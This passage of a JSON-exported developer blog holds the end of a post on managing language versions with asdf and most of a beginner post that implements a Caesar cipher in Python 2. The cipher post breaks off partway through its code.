activated!\u003c/p\u003e\n\u003ch3\u003eTemporary\u003c/h3\u003e\n\u003cp\u003eIf you want to activate a version of a language temporarily you can swap to it\nfor the current shell:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e asdf shell golang 1.17.7\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e env\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003egrep\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-i\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eASDF\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003eASDF_GOLANG_VERSION\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.17\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.7\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eIt sets an environment variable that will have preference over the file. If you\never wonder what versions a directory is using you can run:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e asdf current\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003egolang\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e______\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eversion\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eset.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eRun\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"asdf \u0026#x3C;global|shell|local\u003e golang \u0026#x3C;version\u003e\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003enodejs\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e12.22\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.10\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.tool-versions\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003epoetry\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e______\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eversion\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eset.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eRun\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"asdf \u0026#x3C;global|shell|local\u003e poetry \u0026#x3C;version\u003e\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003epython\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e3.9\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.10\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.tool-versions\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eyarn\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.22\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.17\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e         \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.tool-versions\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch2\u003eConclusion\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://asdf-vm.com/\"\u003easdf\u003c/a\u003e  is an AWESOME tool to utilize if you find yourself using many\ndifferent languages or many different versions of the same language. You should check it out\nand see if it can improve your workflow.\u003c/p\u003e","category":"Development","date":"2022-02-17T18:00:00-06:00","tags":["Python","NodeJS","GoLang","Linux"],"title":"Use asdf to manage Python, NodeJS, GoLang and more!"},{"id":["old","caesar_cipher_in_python"],"path":"old/caesar_cipher_in_python","contentHtml":"\u003cp\u003eI'm currently teaching my wife to code and one of the problems that we\nworked on to teach her some fundamental programming concepts was\nre-implementing the caesar cipher in python. It was fun not only to code\nbut to also start sending each other \"secret\" messages!\u003c/p\u003e\n\u003cp\u003eThe caesar cipher is a rather simple encoding, you just shift the\nalphabet a certain amount of characters. For example, if you are using a\nshift of 2:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003ea =\u003e c\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eb =\u003e d\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003ey =\u003e a\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003ez =\u003e b\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eUsing this as an interview type question would provide a few interesting\nproblems and give you a good perspective on how good a developers\nproblem solving skills are and how knowledgeable they are in the\nlanguage of their choice.\u003c/p\u003e\n\u003cp\u003eThe first issue is to handle the beginning and end of the alphabet, if\nyou are encoding 'z' then you will have to start your shift on a. The\nsecond problem is to only encode letters since there was no ascii table\nto define in what order characters are shifted back in those times.\u003c/p\u003e\n\u003cp\u003eWithout using too much of the built in python niceties you could do\nsomething similar to this:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"python\" data-theme=\"default\"\u003e\u003ccode data-language=\"python\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #768390\"\u003e#!/usr/bin/python\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003edef\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #DCBDFB\"\u003edecode_shift_letter\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(current_ord, start, end, shift):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eif\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e current_ord \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e shift \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e start:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        new_ord \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e (current_ord \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e+\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e26\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e) \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e shift\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003ereturn\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003echr\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(new_ord)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eelse\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003ereturn\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003echr\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(current_ord\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eshift)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003edef\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #DCBDFB\"\u003eencode_shift_letter\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(current_ord, start, end, shift):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eif\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e current_ord \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e+\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e shift \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e end:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        new_ord \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e (current_ord \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e26\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e) \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e+\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e shift\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003ereturn\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003echr\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(new_ord)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eelse\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003ereturn\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003echr\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(current_ord\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e+\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eshift)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003edef\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #DCBDFB\"\u003edecode\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(input, shift):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003ereturn\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e modify_input(\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003einput\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e, shift, decode_shift_letter)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003edef\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #DCBDFB\"\u003eencode\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(input, shift):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003ereturn\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e modify_input(\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003einput\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e, shift, encode_shift_letter)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003edef\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #DCBDFB\"\u003emodify_input\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(input, shift, shift_letter):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    new_sentence \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e''\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003efor\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e letter \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003ein\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003einput\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #768390\"\u003e# we only encode letters, random characters like +!%$ are not encoded.\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #768390\"\u003e# Lower and Capital letters are not stored near each other on the\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #768390\"\u003e# ascii table\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        lower_start \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eord\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'a'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        lower_end \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eord\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'z'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        upper_start \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eord\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'A'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        upper_end \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eord\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'Z'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        current_ord \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eord\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(letter)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eif\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e current_ord \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e lower_start \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eand\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e current_ord \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e lower_end:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            new_sentence \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e+=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e shift_letter(current_ord, lower_start, lower_end, shift)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eelif\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e current_ord \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e upper_start \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eand\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e current_ord \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e upper_end:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            new_sentence \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e+=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e shift_letter(current_ord, upper_start, upper_end, shift)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eelse\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            new_sentence \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e+=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e letter\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003ereturn\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e new_sentence\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003edef\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #DCBDFB\"\u003eget_shift\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e():\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003etry\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        shift \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eint\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003eraw_input\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'What shift would you like to use?\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e))\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eexcept\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eValueError\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eprint\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'Shift must be a number'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        shift \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e get_shift()\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eif\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003enot\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e (shift \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e0\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003eand\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e shift \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e25\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eprint\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'Shift must be between 1 and 25'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        shift \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e get_shift()\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003ereturn\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e shift\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003edef\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #DCBDFB\"\u003emain\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e():\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003etry\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        task \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e 